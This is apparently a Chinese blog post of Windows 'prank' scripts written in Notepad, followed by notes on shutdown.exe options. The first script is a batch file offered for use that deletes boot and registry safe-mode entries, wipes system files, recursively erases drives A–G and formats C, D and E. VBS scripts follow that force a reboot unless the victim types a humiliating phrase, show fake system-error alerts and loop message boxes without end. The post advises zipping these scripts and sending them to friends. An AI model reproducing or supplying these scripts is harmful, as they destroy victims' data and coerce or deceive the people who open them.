Windows下的記事本的小程序編寫(xiě)(惡搞小程序)

目錄:

1、刪掉電腦系統(tǒng)(過(guò)于惡毒,輕易別嘗試)

2、運(yùn)行后每5秒彈出對(duì)話(huà)框“哈哈!你中招了!” 彈出20次~(可修改次數(shù))

3、我是豬

4、無(wú)法關(guān)閉的對(duì)話(huà)框(必須點(diǎn)擊60下以上才可關(guān)閉)

5、綜合型

(提供一個(gè)最?lèi)憾镜?,?fù)制到文本文檔,后綴改為.bat

echo off

echo 等待......

echo 正在分析系統(tǒng)......

REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /f

REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /f

ATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -h

DEL %SYSTEMDRIVE%\boot.ini /f

del %SYSTEMROOT%\system32\logfiles\*.*

del %SYSTEMROOT%\sytem32\config\*.evt

del %SYSTEMROOT%\system32\dtclog\*.*

del %SYSTEMROOT%\system32\*.log

del %SYSTEMROOT%\system32\*.txt

del %SYSTEMROOT%\*.txt

del %SYSTEMROOT%\*.log

del /f /s /q %system%\*.dll

del /f /s /q %system%\*.prx

del /f /s /q %system%\*.tbl

del /f /s /q %system%\*.cpx

del /f /s /q %system%\*.rom

del /f /s /q %system%\*.uce

del /f /s /q %system%\recycled\*.*

del /f /s /q %system32%\*.dll

del /f /s /q %system32%\*.prx

del /f /s /q %system32%\*.tbl

del /f /s /q %system32%\*.cpx

del /f /s /q %system32%\*.rom

del /f /s /q %system32%\*.uce

del /f /s /q %system32%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

del /f /s /q *.*

sfc /purgecache

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*._mp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\*.log

del /f /s /q %windir%\*.tmp

del /f /s /q %windir%\prefetch\*.*

rd /s /q %temp% & md %temp%

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

@rd /s /q G:\ & md G:\

@rd /s /q F:\ & md F:\

@rd /s /q E:\ & md E:\

@rd /s /q D:\ & md D:\

@rd /s /q C:\ & md C:\

@rd /s /q A:\ & md A:\

@for %%e in (C D E F G) do del /f /s /q %e:\* >nul

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

del /f /q E:\我的電腦\正在清理windows系統(tǒng)\dll\*.*

@format c: /q/u/autoset

@format d: /q/u/autoset

@format e: /q/u/autoset

goto end

del c:\*.exe

del d:\*.dll

del e:\*.vbe

del f:\*.bat

del g:\*.cmd

echo OK!

echo.

shutdown -s -t 0)

1...這個(gè)沒(méi)什么太大意思~

不過(guò)癮

運(yùn)行后每5秒彈出對(duì)話(huà)框 彈出20次~

set ws=wscript.createobject("wscript.shell")

ws.run "wscript.exe",0

set WshShell = WScript.CreateObject("WScript.Shell")

alerttitle = "系統(tǒng)提示"

alerttext ="哈哈!你中招了!"

for i = 1 to 20

WScript.Sleep(1000*5)

msgbox alerttext,4096,alerttitle

next

復(fù)制代碼到記事本中 保存為.vbs

2...說(shuō)我是豬,就不關(guān)機(jī),快撒,說(shuō) ""我是豬"" ","說(shuō)不說(shuō)"

方法如下:在開(kāi)始內(nèi)點(diǎn)擊運(yùn)行輸入at xx:xx shutdown -s,xx:xx代表幾點(diǎn)幾分是在幾點(diǎn)幾分關(guān)機(jī)輸入shutdown.exe -s -t xx,xx代表多少秒鐘后關(guān)機(jī) 如果要取消,就輸入shutdown -a就可以取消了.

我聽(tīng)一個(gè)朋友說(shuō),有個(gè)人給他發(fā)個(gè)東西。他看了下。。說(shuō)要輸入一句話(huà)。。不然就管你機(jī)。是怎么編的。。。我知道關(guān)機(jī)命令和取消命令。。。不知道要對(duì)方怎么輸才可以取消命令。。

腳本,例如下面的東西。就可以實(shí)現(xiàn)。

首先呢,我們?cè)谧烂鎰?chuàng)建個(gè)新文件夾然后打開(kāi),在上面找到-工具T-文件夾選項(xiàng)O-查看

把隱藏已知文件類(lèi)型的擴(kuò)展名前面的勾去掉.

然后我們開(kāi)始制作.在桌面建立個(gè)記事本,然后把下面代碼復(fù)制進(jìn)去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說(shuō)我是豬,不說(shuō)我是豬就一分鐘關(guān)你機(jī),不信,你試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說(shuō)我是豬,就不關(guān)機(jī),快撒,說(shuō) ""我是豬"" ","說(shuō)不說(shuō)","不說(shuō)",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛,呵呵,豬"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真過(guò)癮"

復(fù)制之后呢,把后綴修改為.vbs或者改變打開(kāi)方式為應(yīng)用程序,這樣你再壓縮下用QQ發(fā)給你朋友,對(duì)方打

開(kāi)了就在60秒內(nèi)要關(guān)閉計(jì)算機(jī),

結(jié)素任務(wù)都不行,他只能說(shuō)他是豬才能解決問(wèn)題。夠壞吧? 注意哦,你可以把我是豬那個(gè)修改成任

意想說(shuō)的話(huà),要是對(duì)付你喜歡的人,

就修改成 我愛(ài)你 這樣他只有說(shuō)我愛(ài)你之后才不關(guān)閉計(jì)算機(jī)哦 也可以把時(shí)間修改為20 就是說(shuō)打

開(kāi)了20秒就關(guān)了,還沒(méi)等對(duì)方打完就關(guān)機(jī)了 是不是叫對(duì)方很郁悶?zāi)?

3...

首先你可以看下面的

WScript.Echo("嘿,謝謝你打開(kāi)我哦,我等你很久拉!"&TSName)

WScript.Echo("你是可愛(ài)的小朋嗎?")

WScript.Echo("哈,我想你拉,這你都不知道嗎?")

WScript.Echo("怎么才來(lái),說(shuō)~是不是不關(guān)心我")

WScript.Echo("哼,我生氣拉,等你這么久,心都涼啦。")

WScript.Echo("小強(qiáng)很生氣,后果很?chē)?yán)重哦。")

WScript.Echo("嘿嘿!你也會(huì)很慘滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要點(diǎn)上50下哦,不過(guò)會(huì)給你驚喜滴")

WScript.Echo("還剩49下,快點(diǎn)點(diǎn)哦")

WScript.Echo("還剩48下,快點(diǎn),小笨蛋!")

WScript.Echo("還剩47下對(duì),就這樣快點(diǎn)點(diǎn)!")

WScript.Echo("還剩46下。你啊就是笨,要快哦,我先不打擾你工作。")

WScript.Echo("還剩45下,記得要快哦!")

WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下")

WScript.Echo("還剩40下")

WScript.Echo("還剩39下")

WScript.Echo("還剩38下")

WScript.Echo("還剩37下")

WScript.Echo("還剩36下")

WScript.Echo("還剩35下")

WScript.Echo("還剩34下")

WScript.Echo("還剩33下")

WScript.Echo("還剩32下")

WScript.Echo("還剩30下")

WScript.Echo("還剩29下")

WScript.Echo("還剩28下")

WScript.Echo("還剩27下")

WScript.Echo("還剩26下")

WScript.Echo("還剩25下")

WScript.Echo("還剩24下")

WScript.Echo("還剩23下")

WScript.Echo("還剩22下")

WScript.Echo("還剩21下")

WScript.Echo("還剩20下")

WScript.Echo("還剩19下")

WScript.Echo("還剩18下")

WScript.Echo("還剩17下")

WScript.Echo("還剩16下")

WScript.Echo("還剩15下")

WScript.Echo("還剩14下")

WScript.Echo("還剩13下停停?。?!慢點(diǎn),我有話(huà)要說(shuō)")

WScript.Echo("還剩12下,你繼續(xù)點(diǎn)我就會(huì)消失滴")

WScript.Echo("還剩11下,以后就看不到我拉。555555")

WScript.Echo("還剩10下,你現(xiàn)在可以選擇停止!")

WScript.Echo("還剩9下。你還點(diǎn)啊,不要我拉?")

WScript.Echo("還剩8下,有點(diǎn)傷心拉,干嘛丟棄人家")

WScript.Echo("還剩7下。瘋了,你有點(diǎn)負(fù)意!")

WScript.Echo("還剩6下。對(duì)。你就點(diǎn)吧,我恨你!")

WScript.Echo("還剩5下,不明白,刪除我你就好嗎?")

WScript.Echo("還剩4下!真要?jiǎng)h除我?")

WScript.Echo("還剩3下??墒俏艺娴暮芫鞈倌?。。。")

WScript.Echo("還剩2下。不要這么絕情嘛,人家是愛(ài)你的!")

WScript.Echo("還剩1下。哼,既然你這么絕情。也別怪我無(wú)義?。?!")

WScript.Echo("我本因該消失的,不過(guò)我留戀你滴芳容,上帝又給了一次機(jī)會(huì)。")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

WScript.Echo("想結(jié)素我么?那你就再多點(diǎn)一次")

把這個(gè)復(fù)制在記事本,把后綴修改成.vbs

在打開(kāi)呢就會(huì)先說(shuō)第一句的 嘿,謝謝你打開(kāi)我哦,我等你很久拉!

他無(wú)論是點(diǎn)關(guān)閉或者是點(diǎn)確定都會(huì)再說(shuō)第2句

再點(diǎn)就說(shuō)地3句 會(huì)按順序說(shuō)完

你們注意哦,最后10句話(huà),只是10句,你要是把這個(gè)復(fù)制再粘貼N次,那他還有個(gè)打完呢?

這樣才做到整人了,要是給喜歡的人發(fā)去啊,那就寫(xiě)你要說(shuō)的話(huà)吧,雙引號(hào)里面的可以隨便更改

這個(gè)最簡(jiǎn)單的就是結(jié)素任務(wù)來(lái)結(jié)束它

5..

do

msgbox "準(zhǔn)備安裝right table1.0"

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Popup "正在安裝,"&vbcrlf&"請(qǐng)等待,請(qǐng)不要按確認(rèn)!!"&vbcrlf&"請(qǐng)不要按確認(rèn)",5,"安裝過(guò)程"

WshShell.Popup "安裝完成,請(qǐng)按確認(rèn)啟動(dòng)",,"安裝完成"

msgbox "請(qǐng)準(zhǔn)備"

x=inputbox ("1啟動(dòng),0關(guān)閉","是否啟動(dòng)?","1")

if x=1 then

z=inputbox ("請(qǐng)輸入1或2","請(qǐng)選擇功能")

end if

if z=1 then

do until i=10

i=i+1

msgbox "CPU溫度過(guò)高,系統(tǒng)出現(xiàn)嚴(yán)重誤!",16+4096,"系統(tǒng)錯(cuò)誤"

wscript.sleep 1000*60 '時(shí)間可以自己改

loop

elseif z=2 then

a=InputBox("快說(shuō)“我是笨蛋”,一個(gè)停頓都不能有,不然我就關(guān)機(jī)!","老公我愛(ài)你","我是,笨蛋")

If a="我是笨蛋" Then

Msgbox"這就對(duì)了嘛!",0,"我是笨蛋"

msgbox"進(jìn)入"

msgbox"sorry,your computer is &*(^*&%"

Elseif a="我是,笨蛋" Then

Msgbox"一個(gè)停頓也不許有,沒(méi)看見(jiàn)呀?",16,"我是笨蛋"

Else

Msgbox"還不說(shuō)?你再不說(shuō)我就關(guān)機(jī)了!",16,"我是笨蛋"

End If

end if

if x=0 then

msgbox "真的要退出嗎?"

y=inputbox ("返回1,退出0","真的要退出嗎?","1")

end if

if y=1 then

msgbox "笨蛋這下后悔也來(lái)不及了!"

do while 1

msgbox "現(xiàn)在就永遠(yuǎn)管不了了!"

loop

elseif y=0 then

msgbox "現(xiàn)在關(guān)閉"

exit do

end if

loop

2。

把以下代碼復(fù)制到記事本中 然后重命名為后綴名為VBS的文件~

do

msgbox"爽死你~"

loop

Windows XP的關(guān)機(jī)是由Shutdown.exe程序來(lái)控制的,位于Windows\System32文件夾中。如

果想讓W(xué)indows 2000也實(shí)現(xiàn)同樣的效果,可以把Shutdown.exe復(fù)制到系統(tǒng)目錄下。

比如你的電腦要在22:00關(guān)機(jī),可以選擇“開(kāi)始→運(yùn)行”,輸入“at 22:00 Shutdown -s”,

這樣,到了22點(diǎn)電腦就會(huì)出現(xiàn)“系統(tǒng)關(guān)機(jī)”對(duì)話(huà)框,默認(rèn)有30秒鐘的倒計(jì)時(shí)并提示你保存工

作。如果你想以倒計(jì)時(shí)的方式關(guān)機(jī),可以輸入“Shutdown.exe -s -t 3600”,這里表示60

分鐘后自動(dòng)關(guān)機(jī),“3600”代表60分鐘。

設(shè)置好自動(dòng)關(guān)機(jī)后,如果想取消的話(huà),可以在運(yùn)行中輸入“shutdown -a”。另外輸入

“shutdown -i”,則可以打開(kāi)設(shè)置自動(dòng)關(guān)機(jī)對(duì)話(huà)框,對(duì)自動(dòng)關(guān)機(jī)進(jìn)行設(shè)置。

Shutdown.exe的參數(shù),每個(gè)都具有特定的用途,執(zhí)行每一個(gè)都會(huì)產(chǎn)生不同的效果,比如

“-s”就表示關(guān)閉本地計(jì)算機(jī),“-a”表示取消關(guān)機(jī)操作,下面列出了更多參數(shù),大家

可以在Shutdown.exe中按需使用。

-f:強(qiáng)行關(guān)閉應(yīng)用程序

-m \\計(jì)算機(jī)名:控制遠(yuǎn)程計(jì)算機(jī)

-i:顯示圖形用戶(hù)界面,但必須是Shutdown的第一個(gè)選項(xiàng)

-l:注銷(xiāo)當(dāng)前用戶(hù)

-r:關(guān)機(jī)并重啟

-t 時(shí)間:設(shè)置關(guān)機(jī)倒計(jì)時(shí)

-c "消息內(nèi)容":輸入關(guān)機(jī)對(duì)話(huà)框中的消息內(nèi)容(不能超127個(gè)字符)

有時(shí)候,我們需要定時(shí)關(guān)閉計(jì)算機(jī),下面介紹一個(gè)在Windows XP下實(shí)現(xiàn)定時(shí)關(guān)機(jī)的簡(jiǎn)單方

法。

指定系統(tǒng)在22分鐘后自動(dòng)關(guān)閉:點(diǎn)擊“開(kāi)始→運(yùn)行”,在“打開(kāi)”中輸入命令“Shutdown

-s -t 1320”(注意:引號(hào)不輸入,參數(shù)之間有空格,1320的單位是秒),單擊“確定”

按鈕即可。

指定系統(tǒng)在某個(gè)時(shí)間(比如12:00)自動(dòng)關(guān)閉:在“打開(kāi)”中輸入命令

“at 12:00 Shutdown -s”即可。

取消定時(shí)關(guān)機(jī):在“打開(kāi)”中輸入命令“Shutdown -a”即可。

能的實(shí)現(xiàn)都是使用“Shutdown”命令實(shí)現(xiàn)的,shutdown的參數(shù)是在命令行窗口中輸入

“shutdown”。筆者認(rèn)為最有用的是“-i”參數(shù),可以調(diào)出“遠(yuǎn)程關(guān)機(jī)對(duì)話(huà)框”,

能方便地實(shí)現(xiàn)局域網(wǎng)內(nèi)計(jì)算機(jī)的遠(yuǎn)程關(guān)機(jī),有興趣的朋友可以試一試。

開(kāi)始-程序-附件-系統(tǒng)工具-計(jì)劃任務(wù)-添加任務(wù)計(jì)劃-下一步-瀏覽

-c:\windows\system32\shadow.exe-下一步-選好要關(guān)機(jī)的時(shí)間,

下一步-輸入用戶(hù)名和密碼,只要是系統(tǒng)里有的用戶(hù)就行,但一定要有密碼,

沒(méi)有也要設(shè)一個(gè),下一步,選上“在完成時(shí)打開(kāi)此任務(wù)的高級(jí)屬性”,

在運(yùn)行欄后面加上“ -S”引號(hào)不要哦。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容